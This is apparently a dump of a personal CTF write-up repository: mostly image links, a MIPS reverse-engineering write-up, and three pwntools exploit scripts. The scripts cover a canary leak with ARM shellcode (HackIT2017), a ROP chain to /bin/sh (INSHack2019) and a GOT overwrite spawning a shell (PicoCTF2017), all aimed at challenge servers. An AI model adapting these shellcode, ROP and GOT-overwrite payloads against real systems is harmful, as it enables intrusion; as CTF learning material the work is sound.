https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/turtles/leaking_libc.png -------------------------------------------------------------------------------- /CSAW2018/turtles/libs.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/turtles/libs.zip -------------------------------------------------------------------------------- /CSAW2018/turtles/misalignment_segfault.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/turtles/misalignment_segfault.png -------------------------------------------------------------------------------- /CSAW2018/turtles/one_gadget_output.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/turtles/one_gadget_output.png -------------------------------------------------------------------------------- /CSAW2018/turtles/one_gadget_output_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/turtles/one_gadget_output_2.png -------------------------------------------------------------------------------- /CSAW2018/turtles/stack_set_up_for_ROP.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/turtles/stack_set_up_for_ROP.png -------------------------------------------------------------------------------- /CSAW2018/turtles/stack_when_calling_turtle_say.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/turtles/stack_when_calling_turtle_say.png -------------------------------------------------------------------------------- /CSAW2018/turtles/turtle_during_debugging.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/turtles/turtle_during_debugging.png -------------------------------------------------------------------------------- /CSAW2018/turtles/turtles: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/turtles/turtles -------------------------------------------------------------------------------- /CSAW2018/turtles/turtles_pwned.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/turtles/turtles_pwned.png -------------------------------------------------------------------------------- /CSAW2018/turtles/unknown_table_entry.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/CSAW2018/turtles/unknown_table_entry.png -------------------------------------------------------------------------------- /DefConQuals2019/speedrun1/solved_locally.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/DefConQuals2019/speedrun1/solved_locally.png -------------------------------------------------------------------------------- /DefConQuals2019/speedrun1/vulnerability_viewed_in_ghidra.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/DefConQuals2019/speedrun1/vulnerability_viewed_in_ghidra.png -------------------------------------------------------------------------------- /DefConQuals2019/speedrun2/anti-debug.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/DefConQuals2019/speedrun2/anti-debug.png -------------------------------------------------------------------------------- /DefConQuals2019/speedrun2/greeter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/DefConQuals2019/speedrun2/greeter.png -------------------------------------------------------------------------------- /DefConQuals2019/speedrun2/local_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/DefConQuals2019/speedrun2/local_flag.png -------------------------------------------------------------------------------- /DefConQuals2019/speedrun2/vuln_function.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/DefConQuals2019/speedrun2/vuln_function.png -------------------------------------------------------------------------------- /FacebookCTF2019/otp_server/developing_exploit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/FacebookCTF2019/otp_server/developing_exploit.png -------------------------------------------------------------------------------- /FacebookCTF2019/otp_server/got_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/FacebookCTF2019/otp_server/got_flag.png -------------------------------------------------------------------------------- /FacebookCTF2019/otp_server/leaked_canary.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/FacebookCTF2019/otp_server/leaked_canary.png -------------------------------------------------------------------------------- /FacebookCTF2019/otp_server/setting_up_one_gadget.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/FacebookCTF2019/otp_server/setting_up_one_gadget.png -------------------------------------------------------------------------------- /FacebookCTF2019/overfloat/got_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/FacebookCTF2019/overfloat/got_flag.png -------------------------------------------------------------------------------- /FacebookCTF2019/overfloat/main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/FacebookCTF2019/overfloat/main.png -------------------------------------------------------------------------------- /FacebookCTF2019/overfloat/stack1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/FacebookCTF2019/overfloat/stack1.png -------------------------------------------------------------------------------- /FireshellCTF2019/leakless/buffer_overflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/FireshellCTF2019/leakless/buffer_overflow.png -------------------------------------------------------------------------------- /FireshellCTF2019/leakless/checksec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/FireshellCTF2019/leakless/checksec.png -------------------------------------------------------------------------------- /FireshellCTF2019/leakless/dynamic_symbol_lookup.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/FireshellCTF2019/leakless/dynamic_symbol_lookup.png -------------------------------------------------------------------------------- /FireshellCTF2019/leakless/example_PLT_and_GOT.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/FireshellCTF2019/leakless/example_PLT_and_GOT.png -------------------------------------------------------------------------------- /FireshellCTF2019/leakless/fake_ELF_Sym_structure.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/FireshellCTF2019/leakless/fake_ELF_Sym_structure.png -------------------------------------------------------------------------------- /FireshellCTF2019/leakless/fake_rel_plt_pointers_working.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/FireshellCTF2019/leakless/fake_rel_plt_pointers_working.png -------------------------------------------------------------------------------- /FireshellCTF2019/leakless/l_versions_table.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/FireshellCTF2019/leakless/l_versions_table.png -------------------------------------------------------------------------------- /FireshellCTF2019/leakless/leakless_partial_relro_attack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/FireshellCTF2019/leakless/leakless_partial_relro_attack.png -------------------------------------------------------------------------------- /FireshellCTF2019/leakless/leakless_solved.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/FireshellCTF2019/leakless/leakless_solved.png -------------------------------------------------------------------------------- /FireshellCTF2019/leakless/offset_calculations.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/FireshellCTF2019/leakless/offset_calculations.png -------------------------------------------------------------------------------- /FireshellCTF2019/leakless/puts_call.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/FireshellCTF2019/leakless/puts_call.png -------------------------------------------------------------------------------- /FireshellCTF2019/leakless/read_to_exit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/FireshellCTF2019/leakless/read_to_exit.png -------------------------------------------------------------------------------- /FireshellCTF2019/leakless/start_of_dynstr_section.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/FireshellCTF2019/leakless/start_of_dynstr_section.png -------------------------------------------------------------------------------- /FireshellCTF2019/leakless/system_in_bss_section.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/FireshellCTF2019/leakless/system_in_bss_section.png -------------------------------------------------------------------------------- /FireshellCTF2019/leakless/two_shells.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/FireshellCTF2019/leakless/two_shells.png -------------------------------------------------------------------------------- /HackIT2017_pwn200/First_glance.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/HackIT2017_pwn200/First_glance.png -------------------------------------------------------------------------------- /HackIT2017_pwn200/Hacked.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/HackIT2017_pwn200/Hacked.png -------------------------------------------------------------------------------- /HackIT2017_pwn200/IDA_assembly.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/HackIT2017_pwn200/IDA_assembly.png -------------------------------------------------------------------------------- /HackIT2017_pwn200/Terminal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/HackIT2017_pwn200/Terminal.png -------------------------------------------------------------------------------- /HackIT2017_pwn200/arbitrary_execution.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/HackIT2017_pwn200/arbitrary_execution.png -------------------------------------------------------------------------------- /HackIT2017_pwn200/check.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/HackIT2017_pwn200/check.png -------------------------------------------------------------------------------- /HackIT2017_pwn200/exploit_pwn200_clean.py: -------------------------------------------------------------------------------- 1 | ## exploit_pwn200.py, by Sudoite 2 | ## For HackIT2017 3 | 4 | from pwn import * 5 | import struct 6 | 7 | p = process('nc 165.227.98.55 3333', shell=True) 8 | 9 | pck = lambda x: struct.pack('I', x) 10 | 11 | p.recvuntil("CHECK> ") 12 | p.send("%3$p.%517$p\n") 13 | 14 | stack_addr = p.recvuntil(".") 15 | stack_addr = stack_addr[:len(stack_addr)-1] # strip trailing period 16 | log.info("stack_addr = " + stack_addr) 17 | canary = p.recvuntil("I need your clothes, your boots and your motorcycle.") 18 | canary = canary[:len(canary) - len("I need your clothes, your boots and your motorcycle.")] 19 | log.info("canary = " + canary) 20 | canary_int = int(canary[2:],16) 21 | 22 | start_of_fight_buffer = int(stack_addr[2:],16) + 0x400 23 | log.info("start of fight buffer = " + hex(start_of_fight_buffer)) 24 | p.recvuntil("FIGHT> ") 25 | 26 | ''' 27 | # My own shellcode attempt 28 | shellcode1 = '\x01\x10\xa0\xe3\x02\x40\x2d\xe9\x01\x40\xbd\xe8' 29 | shellcode2 = '\x0d\x10\xa0\xe1' 30 | shellcode3 = '\x02\x20\xa0\xe3' 31 | shellcode4 = '\x07\x30\xa0\xe1' # mov r3, r7 32 | shellcode5 = '\x08\x70\x87\xe2\x01\x70\x87\xe2\x01\x70\x87\xe2\x01\x70\x87\xe2' 33 | shellcode6 = '\x01\x60\x8f\xe2\x16\xff\x2f\xe1' 34 | shellcode7 = '\xdf\x01' # svc 1 35 | ''' 36 | 37 | #http://shell-storm.org/shellcode/files/shellcode-904.php 38 | borgeaud_shell = '\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68' 39 | p.send(borgeaud_shell + "A"*990 + pck(canary_int) + "BBBBCCCCDDDD" + pck(start_of_fight_buffer)+"\n") 40 | 41 | p.interactive() 42 | -------------------------------------------------------------------------------- /HackIT2017_pwn200/fight.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/HackIT2017_pwn200/fight.png -------------------------------------------------------------------------------- /HackIT2017_pwn200/leak_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/HackIT2017_pwn200/leak_1.png -------------------------------------------------------------------------------- /HackIT2017_pwn200/leak_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/HackIT2017_pwn200/leak_2.png -------------------------------------------------------------------------------- /HackIT2017_pwn200/return_loop.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/HackIT2017_pwn200/return_loop.png -------------------------------------------------------------------------------- /INSHack2019/pwn/gimmeyourshell/gimmeyourshellstack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/INSHack2019/pwn/gimmeyourshell/gimmeyourshellstack.png -------------------------------------------------------------------------------- /INSHack2019/pwn/gimmeyourshell/solved.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/INSHack2019/pwn/gimmeyourshell/solved.png -------------------------------------------------------------------------------- /INSHack2019/pwn/ropberry/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # Ropberry 4 | 5 | INS'Hack CTF 2019 6 | 7 | 8 | This is an easy-level Pwning problem for INS Hack 2019. 9 | 10 | ### Problem description 11 | 12 | You hack this guy on challenge called gimme-your-shell, but he is still always asking me the same question when I try to find his secret. Maybe you can do something. 13 | 14 | He is waiting for you at: `ssh -i -p 2226 user@ropberry.ctf.insecurity-insa.fr` To find your keyfile, look into your profile on this website. 15 | 16 | binary 17 | 18 | 19 | ### Reconnaissance 20 | 21 | For this one I can't run shellcode on the stack. Looks like a ROP from the title. `Checksec` shows: 22 | ``` 23 | RELRO STACK CANARY NX PIE RPATH RUNPATH FILE 24 | Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH ropberry 25 | ``` 26 | 27 | It's a 32-bit binary. Let's disassemble it with Ghidra: 28 | 29 | Wow, Ghidra is slow to analyze this! No wonder, it's statically linked, so ROP will be easy. 30 | 31 | ``` 32 | void vuln(void) 33 | 34 | { 35 | char local_8 [4]; 36 | 37 | printf("> Ok, now give me the name of our president.\n"); 38 | fflush((FILE *)0x0); 39 | gets(local_8); 40 | return; 41 | } 42 | ``` 43 | 44 | Yep, I just need to ROP a call to `system` directly. 45 | 46 | The problem is essentially just setting up a call to `execve('/bin/sh', NULL, NULL)`. I jumped straight to the `gets` code to put `/bin/sh` in the .bss section, then I just use some ROP gadgets to get the rest of the problem set up and then jump to an `int 0x80` instruction. Here's the flag: 47 | 48 | ![./ropberry_solved.png](./ropberry_solved.png) 49 | 50 | And the exploit code: 51 | 52 | ``` 53 | from pwn import * 54 | from time import sleep 55 | 56 | DELAY = 0.1 57 | p = process('/bin/sh') 58 | p.send('ssh user@ropberry.ctf.insecurity-insa.fr -i ~/.ssh/id_inshack -p 2226\n') 59 | 60 | 61 | RET_ADDR = 0x08048134 62 | GETS_ADDR = 0x08049af0 63 | POP_ESI_ADDR = 0x08049a83 64 | POP_EBX_ADDR = 0x080481ec 65 | POP_EDI_ADDR = 0x080495b1 66 | POP_EAX_ADDR = 0x080c1906 67 | INT_80_ADDR = 0x080493e9 68 | POP_ECX_ADDR = 0x080e394a 69 | POP_EDX_ADDR = 0x0805957a 70 | 71 | p.recvuntil("president.") 72 | 73 | payload = "A"*8 # second set of A's is saved ebp 74 | payload += p32(POP_ESI_ADDR) 75 | payload += p32(0x0) 76 | payload += p32(POP_EBX_ADDR) 77 | payload += p32(0x0) 78 | payload += p32(POP_EDI_ADDR) 79 | payload += p32(0x0) # saved %edi, I don't think I need any of these actually. 80 | payload += p32(GETS_ADDR) 81 | payload += p32(POP_EDI_ADDR) # The return address from GETS -- I want it to be POP rdi or something, anything that skips the next address. 82 | payload += p32(0x080ed908) # bss section, read "/bin/sh" into there. 83 | 84 | # Want edi to have pointer to "/bin/sh" 85 | payload += p32(POP_EDX_ADDR) 86 | payload += p32(0x0) 87 | payload += p32(POP_ECX_ADDR) 88 | payload += p32(0x0) 89 | payload += p32(POP_EBX_ADDR) 90 | payload += p32(0x080ed908) 91 | payload += p32(POP_EAX_ADDR) 92 | payload += p32(0xb) 93 | payload += p32(INT_80_ADDR) 94 | 95 | # ebx must be null, esi must be null 96 | payload += "\n" 97 | p.send(payload) 98 | 99 | 100 | payload2 = "/bin/sh\x00\n" 101 | p.send(payload2) 102 | p.interactive() 103 | ``` 104 | -------------------------------------------------------------------------------- /INSHack2019/pwn/ropberry/ropberry_solved.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/INSHack2019/pwn/ropberry/ropberry_solved.png -------------------------------------------------------------------------------- /Insomnihack2019/onewrite/exit_handler_writable_hook.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/Insomnihack2019/onewrite/exit_handler_writable_hook.png -------------------------------------------------------------------------------- /Insomnihack2019/onewrite/gadgets.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/Insomnihack2019/onewrite/gadgets.png -------------------------------------------------------------------------------- /Insomnihack2019/onewrite/onewrite: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/Insomnihack2019/onewrite/onewrite -------------------------------------------------------------------------------- /Insomnihack2019/onewrite/onewrite_working_locally.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/Insomnihack2019/onewrite/onewrite_working_locally.png -------------------------------------------------------------------------------- /Insomnihack2019/onewrite/solved_onewrite.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/Insomnihack2019/onewrite/solved_onewrite.png -------------------------------------------------------------------------------- /PicoCTF2017/ECC2/solved.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/ECC2/solved.png -------------------------------------------------------------------------------- /PicoCTF2017/MIPS/MIPS_solved.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/MIPS/MIPS_solved.png -------------------------------------------------------------------------------- /PicoCTF2017/MIPS/README.md: -------------------------------------------------------------------------------- 1 | # MIPS 2 | 3 | This is a level 4, 140-point reverse engineering problem from PicoCTF2017. 4 | 5 | The problem provides some [MIPS assembly code](./mips.txt), which reads an integer from standard input, performs some calculations and compares to a desired integer. The flag is supposed to simply be the input integer in hexadecimal form. 6 | 7 | ### Blind Alley 8 | 9 | The only problem is that in fact there appear to be at least 257 solutions to the problem! The code does a conditional branch at one point, and one of these branches apparently is supposed to lead to a state in which no possible input would lead to a solution. But that is the branch with 256 solutions. The second branch is apparently the intended branch. 10 | 11 | Let's take a 32-bit input integer and denote the first eight bits (2^0 - 2^7) as `alpha`, the second eight as `beta`, the third eight as `gamma` and the last eight as `delta`. Then, the program can be reduced to the following pseudocode: 12 | 13 | if `beta == 2*alpha + 3`: 14 | if alpha - delta + gamma + 2^24 * delta - 191*2^16*gamma + 2^9*alpha == -913220864: 15 | output 'success' 16 | else: 17 | output 'failure' 18 | else: 19 | if alpha + gamma - delta + 2^24*gamma - 191*gamma == 100629649: 20 | output 'success' 21 | else: 22 | output 'failure' 23 | 24 | For the second branch, setting `(alpha, gamma, delta) = (179, 178, 6)` satisfies the constraint, and `beta` can take any value. I found these somewhat straightforward to puzzle out with logic, as `delta` is the only parameter affecting the highest eight bits in the solution and `gamma` is the only parameter affecting bits 10-23. `alpha` can be derived after that. Unfortunately, the problem designers appear to have not anticipated this solution, so all 256 of these integers are not the flag. To arrive at this solution, I used the XSPIM GUI interface for the SPIM MIPS Simulator (here are [training videos](https://www.youtube.com/watch?v=hlEgH-PE8Ok)). 25 | 26 | After realizing there were multiple solutions, I quickly checked the hints and another [write-up](https://github.com/in-s-ane/picoctf-2017/blob/master/MIPS_140/solution.cpp) just enough to confirm that the accepted solution indeed has `beta = 2*alpha + 3`. Happily the hints also suggested using the SPIM simulator. By all accounts, it appeared that I had encountered a broken problem. I got ready to go back and puzzle out a solution for the first branch. 27 | 28 | ### Correct Solution 29 | 30 | At that point I read the second hint on the PicoCTF page: 31 | 32 | We recommend the SPIM simulator with some extra options enabled. 33 | The MIPS R2000 architecture uses branch-delay slots. 34 | 35 | I'd never heard of branch-delay slots before, so this problem was great for my learning. The assembly code indeed contained some mysterious-looking instructions after unconditional branch statements that appeared to never get executed. I had assumed that they were in the assembly to throw off the careless reader -- quite the opposite! They are [optimizations](https://en.wikipedia.org/wiki/Branch_delay_slot) built into the MISC architecture to improve the efficiency of pipelining. So by running the SPIM simulator with the `-delayed_branches` flag set, I got a different outcome! 36 | 37 | ![delayed_branches_flag.png](./delayed_branches_flag.png) 38 | It turns out that I had fooled myself by using the SPIM simulator as a way to check my work this time. 39 | 40 | (In some cases, then, the hints almost seem like an extension of the problem description.) Enabling delayed branches is as easy as running the command `xspim -font 6x10 -delayed_branches -file mips.txt`. Assuming for the moment that `beta = 2*alpha + 3`, we need to satisfy the constraint problems: 41 | 42 | `alpha - delta + gamma - 191*2^16*gamma + 2^24*delta = 1922105344` and `beta = 2*alpha + 3`. 43 | 44 | In binary, the right side of the first equation is represented as `0b01110010100100010000000000000000`. Looking at the first equation, I know that `alpha-delta+gamma < 2^10`, so I get `alpha-delta+gamma = 0`. The only term that can affect bits 17-24 is `gamma`, so from that I get `gamma=81`. Next, I can compute `delta=175` by knowing `gamma` and bits 25-32 of the right side of the first equation. `alpha=94` and `beta=191` immediately follow from `alpha-delta+gamma=0` and `beta=2*alpha+3`. 45 | 46 | Thus, `(alpha, beta, gamma, delta) = (94, 191, 81, 175)`, and the solution is `0x53bf51af`: 47 | 48 | ![MIPS_solved](./MIPS_solved.png) 49 | 50 | The problem became much easier given the hint that the assembly language was written for a MIPS 2000 processor that uses delayed branches. 51 | 52 | ### Comparison to Other approaches 53 | 54 | The [Insane Potato Team](https://github.com/in-s-ane/picoctf-2017/blob/master/MIPS_140/solution.cpp) bring up the possibility of using a constraint solver. They also were able to use brute force for this particular problem. 55 | -------------------------------------------------------------------------------- /PicoCTF2017/MIPS/delayed_branches_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/MIPS/delayed_branches_flag.png -------------------------------------------------------------------------------- /PicoCTF2017/MIPS/mips.txt: -------------------------------------------------------------------------------- 1 | .data 2 | fail: 3 | .asciiz "Not quite! Keep trying.\n" 4 | success: 5 | .asciiz "Good job! Submit your input value as the flag.\n" 6 | 7 | .text 8 | main: 9 | li $v0, 5 10 | syscall # SPIM read_int system call (Note: decimal, not hex) 11 | move $4,$v0 12 | addiu $sp,$sp,-32 13 | sw $31,28($sp) 14 | sw $16,24($sp) 15 | li $6,-16777216 # 0xffffffffff000000 16 | and $6,$4,$6 17 | li $16,16711680 # 0xff0000 18 | and $16,$4,$16 19 | andi $7,$4,0xff00 20 | andi $4,$4,0xff 21 | sra $3,$6,24 22 | move $2,$0 23 | $L3: 24 | slt $5,$2,13 25 | beq $5,$0,$L2 26 | addiu $2,$2,1 27 | b $L3 28 | addiu $3,$3,-13 29 | $L2: 30 | addiu $3,$3,-6 31 | sll $5,$3,24 32 | sra $16,$16,16 33 | addiu $2,$16,-81 34 | sll $8,$2,6 35 | sll $3,$2,8 36 | subu $3,$3,$8 37 | subu $3,$2,$3 38 | sra $7,$7,8 39 | sll $2,$4,1 40 | addiu $2,$2,3 41 | bne $7,$2,$L7 42 | sll $3,$3,16 43 | b $L4 44 | li $2,94 45 | $L7: 46 | li $2,165 47 | $L4: 48 | addiu $2,$2,-94 49 | sll $2,$2,8 50 | srl $6,$6,24 51 | subu $16,$6,$16 52 | subu $4,$4,$16 53 | addu $3,$5,$3 54 | addu $3,$2,$3 55 | addu $16,$4,$3 56 | bne $16,$0,$L5 57 | li $v0, 4 58 | la $a0, success 59 | syscall # SPIM print_string system call 60 | lw $28,16($sp) 61 | b $L9 62 | move $2,$16 63 | $L5: 64 | li $v0, 4 65 | la $a0, fail 66 | syscall # SPIM print_string system call 67 | lw $28,16($sp) 68 | move $2,$16 69 | $L9: 70 | lw $31,28($sp) 71 | lw $16,24($sp) 72 | j $31 73 | addiu $sp,$sp,32 74 | -------------------------------------------------------------------------------- /PicoCTF2017/aggregator/case_a.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/aggregator/case_a.png -------------------------------------------------------------------------------- /PicoCTF2017/aggregator/exploit-aggregator.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | ### exploit_aggregator.py 4 | 5 | from pwn import * 6 | from time import sleep 7 | import binascii 8 | 9 | p = remote('shell2017.picoctf.com', 35227) 10 | 11 | 12 | p.send('01-09-2014 87\n') 13 | p.recv(timeout=0.5) 14 | p.send('01-09-2014 95\n') 15 | p.recv(timeout=0.5) 16 | p.send('02-10-2014 55\n') 17 | p.recv(timeout=0.5) 18 | p.send('~01-09-2014\n') 19 | p.recv(timeout=0.5) 20 | 21 | 22 | # Spoof a dbchain entry. 23 | p.send('\xf0\x1e\x60\x00' + '\x00'*20 + '\x01\x00\x00\x00\x00\x00\x00\x00' + '\x00'*8 + '\n') 24 | p.recv(timeout=0.5) 25 | 26 | # Read from the GOT. 27 | p.send('a+01-2014\n') 28 | free_addr = int(p.recv(timeout=0.5)) 29 | print(hex(free_addr)) 30 | 31 | server_libc_free_offset = 0x7c600 32 | server_libc_system_offset = 0x41490 33 | 34 | system_addr = free_addr - server_libc_free_offset + server_libc_system_offset 35 | print("system_addr: " + hex(system_addr)) 36 | 37 | 38 | 39 | # Write to the GOT, by freeing and reusing a new dbchain. 40 | p.send('01-20-2014 66\n') 41 | p.recv(timeout=0.5) 42 | p.send('~01-20-2014\n') 43 | p.recv(timeout=0.5) 44 | p.send('\xe8\x1e\x60\x00' + '\x00'*4 + '\x14' + '\x00'*15 + '\x01\x00\x00\x00\x00\x00\x00\x00' + '\x00'*8 + '\n') 45 | 46 | p.recv(timeout=0.5) 47 | 48 | p.send('01-20-2014 ' + str(system_addr) + '\n') 49 | p.recv(timeout=0.5) 50 | p.send('~01-20-2014;sh;\n') 51 | p.interactive() -------------------------------------------------------------------------------- /PicoCTF2017/aggregator/exploit_working.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/aggregator/exploit_working.png -------------------------------------------------------------------------------- /PicoCTF2017/aggregator/free_minus_0x08.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/aggregator/free_minus_0x08.png -------------------------------------------------------------------------------- /PicoCTF2017/aggregator/heap_after_calling_aggregate.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2017/aggregator/heap_after_calling_aggregate.png 